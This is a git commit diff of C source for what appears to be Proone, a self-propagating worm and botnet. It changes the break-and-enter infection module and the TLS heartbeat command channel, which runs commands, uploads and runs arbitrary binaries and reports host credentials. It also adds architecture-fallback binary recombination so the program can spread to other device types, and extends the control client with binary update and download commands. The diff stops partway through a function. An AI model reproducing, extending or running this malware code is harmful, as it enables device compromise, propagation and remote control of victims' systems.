aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--src/bne.c50
-rw-r--r--src/data/proto/nybin_head8
-rw-r--r--src/htbt.c105
-rw-r--r--src/htbt.h2
-rw-r--r--src/pack.c96
-rw-r--r--src/pack.h19
-rw-r--r--src/proone-htbtclient.c520
-rw-r--r--src/proone-htbthost.c40
-rw-r--r--src/proone-test_proto.c13
-rw-r--r--src/proone.c177
-rw-r--r--src/proone.h4
-rw-r--r--src/protocol.c5
-rw-r--r--src/protocol.h27
13 files changed, 730 insertions, 336 deletions
diff --git a/src/bne.c b/src/bne.c
index d23a91c..ebbbfed 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -1293,7 +1293,9 @@ END: // CATCH
}
static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
- ctx->result.prc = prne_start_bin_rcb(
+ prne_arch_t actual;
+
+ ctx->result.prc = prne_start_bin_rcb_compat(
&sh_ctx->rcb,
ctx->result.arch,
ctx->param.rcb.self,
@@ -1302,36 +1304,24 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
ctx->param.rcb.exec_len,
ctx->param.rcb.m_dv,
ctx->param.rcb.dv_len,
- ctx->param.rcb.ba);
-
- if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) {
- // retry with compatible arch if available
- switch (ctx->result.arch) {
- case PRNE_ARCH_AARCH64:
- case PRNE_ARCH_ARMV7:
- ctx->result.arch = PRNE_ARCH_ARMV4T;
- break;
- case PRNE_ARCH_X86_64:
- ctx->result.arch = PRNE_ARCH_I686;
- break;
- default: return false;
+ ctx->param.rcb.ba,
+ &actual);
+
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ if (ctx->result.prc == PRNE_PACK_RC_OK) {
+ if (actual != ctx->result.arch) {
+ prne_dbgpf(
+ "bne sh@%"PRIxPTR"\t: using compat arch %s\n",
+ (uintptr_t)ctx,
+ prne_arch_tostr(ctx->result.arch));
+ }
}
- if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ else {
prne_dbgpf(
- "bne sh@%"PRIxPTR"\t: retrying bin_rcb with compat arch %s\n",
+ "bne sh@%"PRIxPTR"\t: prne_start_bin_rcb_compat() - %s\n",
(uintptr_t)ctx,
- prne_arch_tostr(ctx->result.arch));
+ prne_pack_rc_tostr(ctx->result.prc));
}
- ctx->result.prc = prne_start_bin_rcb(
- &sh_ctx->rcb,
- ctx->result.arch,
- ctx->param.rcb.self,
- ctx->param.rcb.m_self,
- ctx->param.rcb.self_len,
- ctx->param.rcb.exec_len,
- ctx->param.rcb.m_dv,
- ctx->param.rcb.dv_len,
- ctx->param.rcb.ba);
}
return ctx->result.prc == PRNE_PACK_RC_OK;
@@ -1829,9 +1819,11 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
&ssl,
PRNE_HTBT_TLS_ALP);
if (ret) {
-/* here goes ...
+/* TODO: here goes ...
*
-* - Check the program version and update if necessary via PRNE_HTBT_OP_NY_BIN
+* - Take an array of previous versions as param
+* - Check the program version of the remote instance and update local or remote
+* instance if necessary using PRNE_HTBT_OP_UP_BIN or PRNE_HTBT_OP_RCB
*/
prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
if (prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_close_notify, fd, ev)) {
diff --git a/src/data/proto/nybin_head b/src/data/proto/nybin_head
deleted file mode 100644
index 79cd1b7..0000000
--- a/src/data/proto/nybin_head
+++ /dev/null
@@ -1,8 +0,0 @@
-# msg id 8A06, init
-8A06
-# PRNE_HTBT_OP_NY_BIN
-06
- # bin_len =
- 000000
- # detach = 0, args_len = 0
- 0000
diff --git a/src/htbt.c b/src/htbt.c
index d4bbeac..bf4f32b 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -20,6 +20,7 @@
#include <mbedtls/base64.h>
+#define HTBT_MAIN_REQ_Q_SIZE 2
// Hover Max Redirection count
#define HTBT_HOVER_MAX_REDIR 5
// CNCP interval: HTBT_CNCP_INT_MIN + jitter
@@ -53,8 +54,8 @@ static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s
typedef uint_fast8_t htbt_lmk_t;
#define HTBT_LMK_NONE 0
-#define HTBT_LMK_HOVER 1
-#define HTBT_LMK_NYBIN 2
+// #define HTBT_LMK_HOVER 1
+#define HTBT_LMK_UPBIN 2
typedef struct {
int fd[2];
@@ -192,7 +193,7 @@ static void htbt_lm_release (prne_htbt_t *ctx, const htbt_lmk_t v) {
}
static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) {
- bool alloc, ret = false;
+ bool alloc = false, ret = false;
htbt_req_slip_t *ny_slip = (htbt_req_slip_t*)prne_malloc(
sizeof(htbt_req_slip_t),
1);
@@ -203,12 +204,17 @@ static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) {
htbt_init_req_slip(ny_slip);
prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL));
- alloc =
- prne_llist_append(
- &ctx->main.req_q,
- (prne_llist_element_t)ny_slip) != NULL;
- if (alloc) {
- prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE));
+ if (ctx->main.req_q.size < HTBT_MAIN_REQ_Q_SIZE) {
+ alloc =
+ prne_llist_append(
+ &ctx->main.req_q,
+ (prne_llist_element_t)ny_slip) != NULL;
+ if (alloc) {
+ prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE));
+ }
+ }
+ else {
+ errno = EAGAIN;
}
pth_mutex_release(&ctx->main.lock);
if (alloc) {
@@ -247,21 +253,12 @@ static bool htbt_main_q_hover (
prne_llist_entry_t *trace)
{
bool ret = false;
- htbt_lmk_t lmk = HTBT_LMK_NONE;
htbt_req_slip_t slip;
htbt_hv_req_body_t *body;
prne_llist_entry_t *ny_trace = NULL;
htbt_init_req_slip(&slip);
- if (htbt_lm_acquire(ctx, HTBT_LMK_HOVER)) {
- lmk = HTBT_LMK_HOVER;
- }
- else {
- errno = EBUSY;
- goto END;
- }
-
slip.free_f = (prne_htbt_free_ft)htbt_free_hv_req_body;
slip.op = PRNE_HTBT_OP_HOVER;
slip.body = prne_malloc(sizeof(htbt_hv_req_body_t), 1);
@@ -299,9 +296,6 @@ END:
prne_llist_erase(&ctx->main.hover_req, ny_trace);
pth_mutex_release(&ctx->main.lock);
}
- if (!ret && lmk != HTBT_LMK_NONE) {
- htbt_lm_release(ctx, lmk);
- }
htbt_free_req_slip(&slip);
return ret;
}
@@ -898,12 +892,15 @@ static void htbt_slv_fab_frame (
size_t req, actual;
prne_assert(ev != NULL);
+ prne_assert(!((body == NULL) ^ (ser_f == NULL)));
req = 0;
prne_htbt_ser_msg_head(NULL, 0, &actual, mh);
req += actual;
- ser_f(NULL, 0, &actual, body);
- req += actual;
+ if (ser_f != NULL) {
+ ser_f(NULL, 0, &actual, body);
+ req += actual;
+ }
prne_assert(req <= ctx->iobuf[1].size);
htbt_slv_consume_outbuf(ctx, req, ev);
@@ -929,12 +926,14 @@ static void htbt_slv_fab_frame (
&actual,
mh);
prne_iobuf_shift(ctx->iobuf + 1, actual);
- ser_f(
- ctx->iobuf[1].m + ctx->iobuf[1].len,
- ctx->iobuf[1].avail,
- &actual,
- body);
- prne_iobuf_shift(ctx->iobuf + 1, actual);
+ if (ser_f != NULL) {
+ ser_f(
+ ctx->iobuf[1].m + ctx->iobuf[1].len,
+ ctx->iobuf[1].avail,
+ &actual,
+ body);
+ prne_iobuf_shift(ctx->iobuf + 1, actual);
+ }
}
static void htbt_slv_fab_status (
@@ -976,6 +975,19 @@ static void htbt_slv_fab_status (
pth_event_free(my_ev, FALSE);
}
+static void htbt_slv_fab_noop (
+ htbt_slv_ctx_t *ctx,
+ const bool is_rsp,
+ pth_event_t ev)
+{
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ mh.is_rsp = is_rsp;
+ htbt_slv_fab_frame(ctx, &mh, NULL, NULL, ev);
+ prne_htbt_free_msg_head(&mh);
+}
+
static void htbt_slv_raise_protoerr (
htbt_slv_ctx_t *ctx,
uint16_t corr_msgid,
@@ -1150,10 +1162,11 @@ static bool htbt_slv_srv_bin (
prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK;
int32_t ret_errno = 0;
htbt_lmk_t lmk = HTBT_LMK_NONE;
+ mode_t tmpfm;
prne_dbgast(
mh->op == PRNE_HTBT_OP_RUN_BIN ||
- mh->op == PRNE_HTBT_OP_NY_BIN);
+ mh->op == PRNE_HTBT_OP_UP_BIN);
prne_htbt_init_bin_meta(&bin_meta);
@@ -1177,15 +1190,15 @@ static bool htbt_slv_srv_bin (
}
if (ctx->cbset->tmpfile == NULL ||
- (mh->op == PRNE_HTBT_OP_NY_BIN && ctx->cbset->ny_bin == NULL))
+ (mh->op == PRNE_HTBT_OP_UP_BIN && ctx->cbset->upbin == NULL))
{
ret_status = PRNE_HTBT_STATUS_UNIMPL;
goto SND_STATUS;
}
- if (mh->op == PRNE_HTBT_OP_NY_BIN && ctx->lm_acquire_f != NULL) {
- if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_NYBIN)) {
- lmk = HTBT_LMK_NYBIN;
+ if (mh->op == PRNE_HTBT_OP_UP_BIN && ctx->lm_acquire_f != NULL) {
+ if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_UPBIN)) {
+ lmk = HTBT_LMK_UPBIN;
}
else {
ret_status = PRNE_HTBT_STATUS_ERRNO;
@@ -1195,10 +1208,12 @@ static bool htbt_slv_srv_bin (
}
errno = 0;
- path = ctx->cbset->tmpfile(
- ctx->cb_ctx,
- bin_meta.bin_size,
- mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600);
+ switch (mh->op) {
+ case PRNE_HTBT_OP_RUN_BIN:
+ case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break;
+ default: tmpfm = 0600;
+ }
+ path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm);
if (path == NULL) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
@@ -1303,7 +1318,7 @@ static bool htbt_slv_srv_bin (
&ret_errno);
}
else {
- if (!ctx->cbset->ny_bin(ctx->cb_ctx, path, &bin_meta.cmd)) {
+ if (!ctx->cbset->upbin(ctx->cb_ctx, path, &bin_meta.cmd)) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
goto SND_STATUS;
@@ -1455,6 +1470,7 @@ static bool htbt_slv_consume_inbuf (
switch (f_head.op) {
case PRNE_HTBT_OP_NOOP:
prne_iobuf_shift(ctx->iobuf + 0, -actual);
+ htbt_slv_fab_noop(ctx, true, root_ev);
break;
case PRNE_HTBT_OP_STDIO:
ret |= htbt_slv_srv_stdio(ctx, root_ev, actual, &f_head);
@@ -1467,7 +1483,7 @@ static bool htbt_slv_consume_inbuf (
ret |= htbt_slv_srv_run_cmd(ctx, root_ev, actual, &f_head);
break;
case PRNE_HTBT_OP_RUN_BIN:
- case PRNE_HTBT_OP_NY_BIN:
+ case PRNE_HTBT_OP_UP_BIN:
ret |= htbt_slv_srv_bin(ctx, root_ev, actual, &f_head);
break;
case PRNE_HTBT_OP_HOVER:
@@ -1753,13 +1769,15 @@ static bool htbt_main_slv_setup_f (void *ioctx, pth_event_t ev) {
bool ret = true;
size_t actual;
prne_htbt_msg_head_t mh;
+ int f_ret;
prne_htbt_init_msg_head(&mh);
- if (mbedtls_ctr_drbg_random(
+
+ f_ret = mbedtls_ctr_drbg_random(
ctx->parent->param.ctr_drbg,
(unsigned char *)&mh.id,
- sizeof(mh.id) == 0))
- {
+ sizeof(mh.id));
+ if (f_ret == 0) {
mh.id = (mh.id % PRNE_HTBT_MSG_ID_DELTA) + PRNE_HTBT_MSG_ID_MIN;
}
else {
@@ -2008,7 +2026,6 @@ static void *htbt_main_entry (void *p) {
switch (slip->op) {
case PRNE_HTBT_OP_HOVER:
htbt_main_srv_hover(ctx, (htbt_hv_req_body_t*)slip->body);
- htbt_lm_release(ctx, HTBT_LMK_HOVER);
break;
default:
if (PRNE_DEBUG) {
diff --git a/src/htbt.h b/src/htbt.h
index 152825c..3d6a42c 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -25,7 +25,7 @@ struct prne_htbt_cbset {
prne_htbt_cnc_txtrec_ft cnc_txtrec;
prne_htbt_hostinfo_ft hostinfo; // optional
prne_htbt_tmpfile_ft tmpfile; // optional
- prne_htbt_bin_ft ny_bin; // optional
+ prne_htbt_bin_ft upbin; // optional
};
struct prne_htbt_param {
diff --git a/src/pack.c b/src/pack.c
index 3bf9d75..156da48 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -498,6 +498,66 @@ prne_pack_rc_t prne_start_bin_rcb (
return PRNE_PACK_RC_OK;
}
+prne_pack_rc_t prne_start_bin_rcb_compat (
+ prne_bin_rcb_ctx_t *ctx,
+ const prne_arch_t target,
+ const prne_arch_t self,
+ const uint8_t *m_self,
+ const size_t self_len,
+ const size_t exec_len,
+ const uint8_t *m_dvault,
+ const size_t dvault_len,
+ const prne_bin_archive_t *ba,
+ prne_arch_t *actual)
+{
+ prne_arch_t a = target;
+ prne_pack_rc_t ret = prne_start_bin_rcb(
+ ctx,
+ target,
+ self,
+ m_self,
+ self_len,
+ exec_len,
+ m_dvault,
+ dvault_len,
+ ba);
+ const prne_arch_t *f;
+
+ if (ret != PRNE_PACK_RC_NO_ARCH) {
+ goto END;
+ }
+ f = prne_compat_arch(target);
+ if (f == NULL) {
+ goto END;
+ }
+
+ for (; *f != PRNE_ARCH_NONE; f += 1) {
+ if (*f == target) {
+ continue;
+ }
+ a = *f;
+ ret = prne_start_bin_rcb(
+ ctx,
+ *f,
+ self,
+ m_self,
+ self_len,
+ exec_len,
+ m_dvault,
+ dvault_len,
+ ba);
+ if (ret != PRNE_PACK_RC_NO_ARCH) {
+ break;
+ }
+ }
+
+END:
+ if (actual != NULL) {
+ *actual = a;
+ }
+ return ret;
+}
+
ssize_t prne_bin_rcb_read (
prne_bin_rcb_ctx_t *ctx,
uint8_t *buf,
@@ -529,3 +589,39 @@ bool prne_index_nybin (
return true;
}
+
+const prne_arch_t *prne_compat_arch (const prne_arch_t target) {
+ static const prne_arch_t F_X86[] = {
+ PRNE_ARCH_X86_64,
+ PRNE_ARCH_I686,
+ PRNE_ARCH_NONE
+ };
+ static const prne_arch_t F_ARM[] = {
+ PRNE_ARCH_AARCH64,
+ PRNE_ARCH_ARMV7,
+ PRNE_ARCH_ARMV4T,
+ PRNE_ARCH_NONE
+ };
+
+ switch (target) {
+ case PRNE_ARCH_X86_64: return F_X86;
+ case PRNE_ARCH_I686: return F_X86 + 1;
+ case PRNE_ARCH_AARCH64: return F_ARM;
+ case PRNE_ARCH_ARMV7: return F_ARM + 1;
+ case PRNE_ARCH_ARMV4T: return F_ARM + 2;
+ }
+ return NULL;
+}
+
+const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) {
+ switch (prc) {
+ case PRNE_PACK_RC_OK: return "ok";
+ case PRNE_PACK_RC_EOF: return "eof";
+ case PRNE_PACK_RC_INVAL: return "invalid";
+ case PRNE_PACK_RC_FMT_ERR: return "format error";
+ case PRNE_PACK_RC_ERRNO: return "errno";
+ case PRNE_PACK_RC_Z_ERR: return "zlib error";
+ case PRNE_PACK_RC_NO_ARCH: return "no arch";
+ }
+ return NULL;
+}
diff --git a/src/pack.h b/src/pack.h
index e31e07a..6a752db 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -18,7 +18,9 @@ typedef enum {
PRNE_PACK_RC_FMT_ERR,
PRNE_PACK_RC_ERRNO,
PRNE_PACK_RC_Z_ERR,
- PRNE_PACK_RC_NO_ARCH
+ PRNE_PACK_RC_NO_ARCH,
+
+ NB_PRNE_PACK_RC
} prne_pack_rc_t;
struct prne_bin_tuple {
@@ -64,6 +66,17 @@ prne_pack_rc_t prne_start_bin_rcb (
const uint8_t *m_dvault,
const size_t dvault_len,
const prne_bin_archive_t *ba);
+prne_pack_rc_t prne_start_bin_rcb_compat (
+ prne_bin_rcb_ctx_t *ctx,
+ const prne_arch_t target,
+ const prne_arch_t self,
+ const uint8_t *m_self,
+ const size_t self_len,
+ const size_t exec_len,
+ const uint8_t *m_dvault,
+ const size_t dvault_len,
+ const prne_bin_archive_t *ba,
+ prne_arch_t *actual);
ssize_t prne_bin_rcb_read (
prne_bin_rcb_ctx_t *ctx,
uint8_t *buf,
@@ -78,3 +91,7 @@ bool prne_index_nybin (
size_t *dv_len,
const uint8_t **m_ba,
size_t *ba_len);
+
+const prne_arch_t *prne_compat_arch (const prne_arch_t arch);
+
+const char *prne_pack_rc_tostr (const prne_pack_rc_t prc);
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index 53b31d6..c7328f1 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -11,6 +11,7 @@
#include <stdarg.h>
#include <assert.h>
+#include <sys/mman.h>
#include <getopt.h>
#include <regex.h>
#include <termios.h>
@@ -49,8 +50,8 @@
" hover send handover request\n"\
" runcmd run command on host\n"\
" runbin upload and run arbitrary binary on host\n"\
-" nybin perform binary update\n"\
-" getbin download Proone binary\n"\
+" upbin perform binary update\n"\
+" rcb download binary from instance\n"\
"\n"\
"Common options:\n"\
" -h, --help print help for specified command and exit. Print this\n"\
@@ -103,11 +104,17 @@
"Options:\n"\
" -d, --detach run detached(i.e., run as daemon)\n"\
"\n"
-#define NYBIN_HELP_STR \
+#define UPBIN_HELP_STR \
"Perform binary update.\n"\
-"Usage: %s [common options] nybin <FILE> [arg0] [arg1 ...]\n"\
+"Usage: %s [common options] upbin [options] <FILE> [arg0] [arg1 ...]\n"\
"\n"\
-"<FILE>: NYBIN format binary\n"\
+"Options:\n"\
+" --nybin do binary recombination. <FILE> must be nybin format binary\n"\
+" --exec upload <FILE> as is\n"\
+" --no-compat do not retry recombination with compatible arch\n"\
+"\n"\
+"Note that an instance will continue to run with original binary if it fails to\n"\
+"exec() to the new binary.\n"\
"\n"
enum sub_command {
@@ -116,11 +123,22 @@ enum sub_command {
SC_HOVER,
SC_RUNCMD,
SC_RUNBIN,
- SC_NYBIN,
- SC_GETBIN
+ SC_UPBIN,
+ SC_RCB,
+
+ NB_SC
};
typedef enum sub_command sub_command_t;
+enum bin_type {
+ BT_NONE,
+ BT_NYBIN,
+ BT_EXEC,
+
+ NB_BT
+};
+typedef enum bin_type bin_type_t;
+
struct {
char *tls_ca;
char *tls_cert;
@@ -140,8 +158,10 @@ struct {
} hover;
struct {
char *bin_path;
+ bin_type_t bin_type;
prne_htbt_bin_meta_t bm;
bool detached;
+ bool compat;
} run;
} cmd_param;
void (*free_cmdparam_f)(void);
@@ -166,9 +186,12 @@ struct {
} yaml;
union {
struct {
+ int fd;
+ prne_arch_t arch_host;
+ prne_arch_t arch_rcb;
+ bool has_status;
prne_iobuf_t ib;
prne_htbt_status_t st;
- bool has_status;
} run;
} cmd_st;
void (*free_cmdst_f)(void);
@@ -188,8 +211,8 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
case SC_RUNBIN:
fprintf(out_f, RUNBIN_HELP_STR, prog);
break;
- case SC_NYBIN:
- fprintf(out_f, NYBIN_HELP_STR, prog);
+ case SC_UPBIN:
+ fprintf(out_f, UPBIN_HELP_STR, prog);
break;
// TODO
default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
@@ -219,12 +242,17 @@ static void init_prog_g (void) {
}
static void free_run_g (void) {
+ prne_close(prog_g.cmd_st.run.fd);
prne_free_iobuf(&prog_g.cmd_st.run.ib);
prne_htbt_free_status(&prog_g.cmd_st.run.st);
}
static void init_run_g (void) {
assert(prog_g.free_cmdst_f == NULL);
+
+ prog_g.cmd_st.run.arch_host = PRNE_ARCH_NONE;
+ prog_g.cmd_st.run.arch_rcb = PRNE_ARCH_NONE;
+ prog_g.cmd_st.run.fd = -1;
prne_init_iobuf(&prog_g.cmd_st.run.ib);
prne_htbt_init_status(&prog_g.cmd_st.run.st);
assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize()));
@@ -260,10 +288,12 @@ static void init_hover_conf (void) {
static void free_run_conf (void) {
prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm);
+ prne_free(prog_conf.cmd_param.run.bin_path);
}
static void init_run_conf (void) {
prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm);
+ prog_conf.cmd_param.run.compat = true;
prog_conf.free_cmdparam_f = free_run_conf;
}
@@ -489,13 +519,48 @@ LOOP_END:
return 0;
}
-static int parse_args_nybin (const int argc, char *const *args) {
+static int parse_args_upbin (const int argc, char *const *args) {
+ static const struct option lopts[] = {
+ { "nybin", no_argument, 0, 0 },
+ { "exec", no_argument, 0, 0 },
+ { "no-compat", no_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ int li, f_ret;
+ const struct option *co;
+
if (!assert_host_arg()) {
return 2;
}
init_run_conf();
init_run_g();
+ while (true) {
+ f_ret = getopt_long(argc, args, "", lopts, &li);
+ if (f_ret != 0) {
+ break;
+ }
+
+ co = (const struct option*)lopts + li;
+ if (strcmp("nybin", co->name) == 0) {
+ prog_conf.cmd_param.run.bin_type = BT_NYBIN;
+ }
+ else if (strcmp("exec", co->name) == 0) {
+ prog_conf.cmd_param.run.bin_type = BT_EXEC;
+ }
+ else if (strcmp("no-compat", co->name) == 0) {
+ prog_conf.cmd_param.run.compat = false;
+ }
+ else {
+ abort();
+ }
+ }
+
+ if (prog_conf.cmd_param.run.bin_type == BT_NONE) {
+ fprintf(stderr, "Use --nybin or --exec to specify binary type.\n");
+ return 2;
+ }
+
if (argc <= optind) {
fprintf(stderr, "FILE not specified.\n");
return 2;
@@ -520,7 +585,7 @@ static int parse_args_nybin (const int argc, char *const *args) {
return 0;
}
-static int parse_args_getbin (const int argc, char *const *args) {
+static int parse_args_rcb (const int argc, char *const *args) {
if (!assert_host_arg()) {
return 2;
}
@@ -633,11 +698,11 @@ END_LOOP:
else if (strcmp("runbin", cmd_str) == 0) {
prog_conf.cmd = SC_RUNBIN;
}
- else if (strcmp("nybin", cmd_str) == 0) {
- prog_conf.cmd = SC_NYBIN;
+ else if (strcmp("upbin", cmd_str) == 0) {
+ prog_conf.cmd = SC_UPBIN;
}
- else if (strcmp("getbin", cmd_str) == 0) {
- prog_conf.cmd = SC_GETBIN;
+ else if (strcmp("rcb", cmd_str) == 0) {
+ prog_conf.cmd = SC_RCB;
}
else {
fprintf(stderr, "Invalid COMMAND \"%s\".\n", cmd_str);
@@ -653,9 +718,11 @@ END_LOOP:
case SC_HOVER: ret = parse_args_hover(argc, args); break;
case SC_RUNCMD: ret = parse_args_run(argc, args, false); break;
case SC_RUNBIN: ret = parse_args_run(argc, args, true); break;
- case SC_NYBIN: ret = parse_args_nybin(argc, args); break;
- case SC_GETBIN: ret = parse_args_getbin(argc, args); break;
- default: fprintf(stderr, "COMMAND not specified.\n");
+ case SC_UPBIN: ret = parse_args_upbin(argc, args); break;
+ case SC_RCB: ret = parse_args_rcb(argc, args); break;
+ default:
+ ret = 2;
+ fprintf(stderr, "COMMAND not specified.\n");
}
return ret;
@@ -817,6 +884,32 @@ static int init_tls (void) {
return 0;
}
+static void pstatus (const prne_htbt_status_t *st, const char *s) {
+ fprintf(stderr, "%s: code=%d, err=%"PRId32"\n", s, st->code, st->err);
+}
+
+static void pprc (const prne_pack_rc_t prc, const char *s, int *err) {
+ switch (prc) {
+ case PRNE_PACK_RC_Z_ERR:
+ if (err != NULL) {
+ fprintf(stderr, "%s: %s(%d)\n", s, prne_pack_rc_tostr(prc), *err);
+ break;
+ }
+ /* fall-through */
+ case PRNE_PACK_RC_OK:
+ case PRNE_PACK_RC_EOF:
+ case PRNE_PACK_RC_INVAL:
+ case PRNE_PACK_RC_FMT_ERR:
+ case PRNE_PACK_RC_NO_ARCH:
+ fprintf(stderr, "%s: %s\n", s, prne_pack_rc_tostr(prc));
+ break;
+ case PRNE_PACK_RC_ERRNO:
+ perror(s);
+ break;
+ default: abort();
+ }
+}
+
static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) {
ssize_t io_ret;
@@ -991,6 +1084,10 @@ static void end_yaml (void) {
static bool do_connect (void) {
int f_ret;
+ if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+ fprintf(stderr, "do_connect()\n");
+ }
+
f_ret = mbedtls_net_connect(
&prog_g.net.ctx,
prog_conf.remote_host,
@@ -1013,9 +1110,34 @@ static bool do_connect (void) {
mbedtls_net_recv,
mbedtls_net_recv_timeout);
+ f_ret = mbedtls_ssl_handshake(&prog_g.ssl.ctx);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_handshake()");
+ return false;
+ }
+ if (!prne_mbedtls_verify_alp(
+ &prog_g.ssl.conf,
+ &prog_g.ssl.ctx,
+ PRNE_HTBT_TLS_ALP))
+ {
+ fprintf(stderr, "ALPN not negotiated.\n");
+ return false;
+ }
+
return true;
}
+static void do_disconnect (void) {
+ if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+ fprintf(stderr, "do_disconnect()\n");
+ }
+ mbedtls_ssl_close_notify(&prog_g.ssl.ctx);
+ mbedtls_ssl_free(&prog_g.ssl.ctx);
+
+ mbedtls_net_free(&prog_g.net.ctx);
+ prne_iobuf_reset(&prog_g.net.ib);
+}
+
static uint16_t htbt_msgid_rnd_f (void *ctx) {
int f_ret;
uint16_t ret;
@@ -1144,6 +1266,28 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) {
return true;
}
+static bool do_ayt (void) {
+ prne_htbt_msg_head_t mh;
+ bool ret = false;
+
+ if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+ fprintf(stderr, "do_ayt()\n");
+ }
+
+ prne_htbt_init_msg_head(&mh);
+ do {
+ if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) ||
+ !recv_frame(&mh, (prne_htbt_dser_ft)prne_htbt_dser_msg_head))
+ {
+ break;
+ }
+ ret = mh.op == PRNE_HTBT_OP_NOOP && mh.is_rsp;
+ } while (false);
+
+ prne_htbt_free_msg_head(&mh);
+ return ret;
+}
+
static bool recv_status (prne_htbt_status_t *st) {
return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status);
}
@@ -1367,60 +1511,81 @@ static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) {
prne_free_host_cred(&hc);
}
-static int cmdmain_hostinfo (void) {
- int ret = 0;
- uint16_t msgid;
+static bool do_hostinfo (
+ prne_htbt_host_info_t *hi,
+ prne_htbt_status_t *st,
+ bool *status)
+{
+ bool ret = false;
+ const uint16_t msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
prne_htbt_msg_head_t mh;
- prne_htbt_host_info_t hi;
- prne_htbt_status_t st;
- msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
prne_htbt_init_msg_head(&mh);
- prne_htbt_init_host_info(&hi);
- prne_htbt_init_status(&st);
mh.id = msgid;
mh.is_rsp = false;
mh.op = PRNE_HTBT_OP_HOST_INFO;
- if (!do_connect()) {
- ret = 1;
- goto END;
- }
-
if (!send_mh(&mh)) {
- ret = 1;
goto END;
}
if (!recv_mh(&mh, &msgid)) {
- ret = 1;
goto END;
}
switch (mh.op) {
case PRNE_HTBT_OP_HOST_INFO:
- if (!recv_frame(&hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) {
- ret = 1;
+ if (!recv_frame(hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) {
goto END;
}
- start_yaml();
- emit_preemble("hostinfo", "ok", NULL);
- emit_hostinfo_frame(&hi);
+ *status = false;
break;
case PRNE_HTBT_OP_STATUS:
- ret = 1;
- if (recv_status(&st)) {
- start_yaml();
- emit_preemble("hostinfo", "status", NULL);
- emit_status_frame(&st);
+ if (!recv_status(st)) {
+ goto END;
}
- goto END;
+ *status = true;
+ break;
default:
raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
- ret = 1;
goto END;
}
+ ret = true;
END:
prne_htbt_free_msg_head(&mh);
+ return ret;
+}
+
+static int cmdmain_hostinfo (void) {
+ int ret = 0;
+ bool status;
+ prne_htbt_host_info_t hi;
+ prne_htbt_status_t st;
+
+ prne_htbt_init_host_info(&hi);
+ prne_htbt_init_status(&st);
+
+ if (!do_connect()) {
+ ret = 1;
+ goto END;
+ }
+ if (!do_hostinfo(&hi, &st, &status)) {
+ ret = 1;
+ goto END;
+ }
+
+ if (status) {
+ start_yaml();
+ emit_preemble("hostinfo", "status", NULL);
+ emit_status_frame(&st);
+ }
+ else {
+ start_yaml();
+ emit_preemble("hostinfo", "ok", NULL);
+ emit_hostinfo_frame(&hi);
+ }
+ ret = 0;
+
+END:
prne_htbt_free_host_info(&hi);
prne_htbt_free_status(&st);
return ret;
@@ -1468,7 +1633,6 @@ static void emit_hover_opts (void) {
static bool run_setup (const uint16_t msgid) {
bool ret = true;
- int bin_fd = -1;
int f_ret;
struct stat fs;
void *f;
@@ -1483,7 +1647,7 @@ static bool run_setup (const uint16_t msgid) {
switch (prog_conf.cmd) {
case SC_RUNCMD: mh.op = PRNE_HTBT_OP_RUN_CMD; break;
case SC_RUNBIN: mh.op = PRNE_HTBT_OP_RUN_BIN; break;
- case SC_NYBIN: mh.op = PRNE_HTBT_OP_NY_BIN; break;
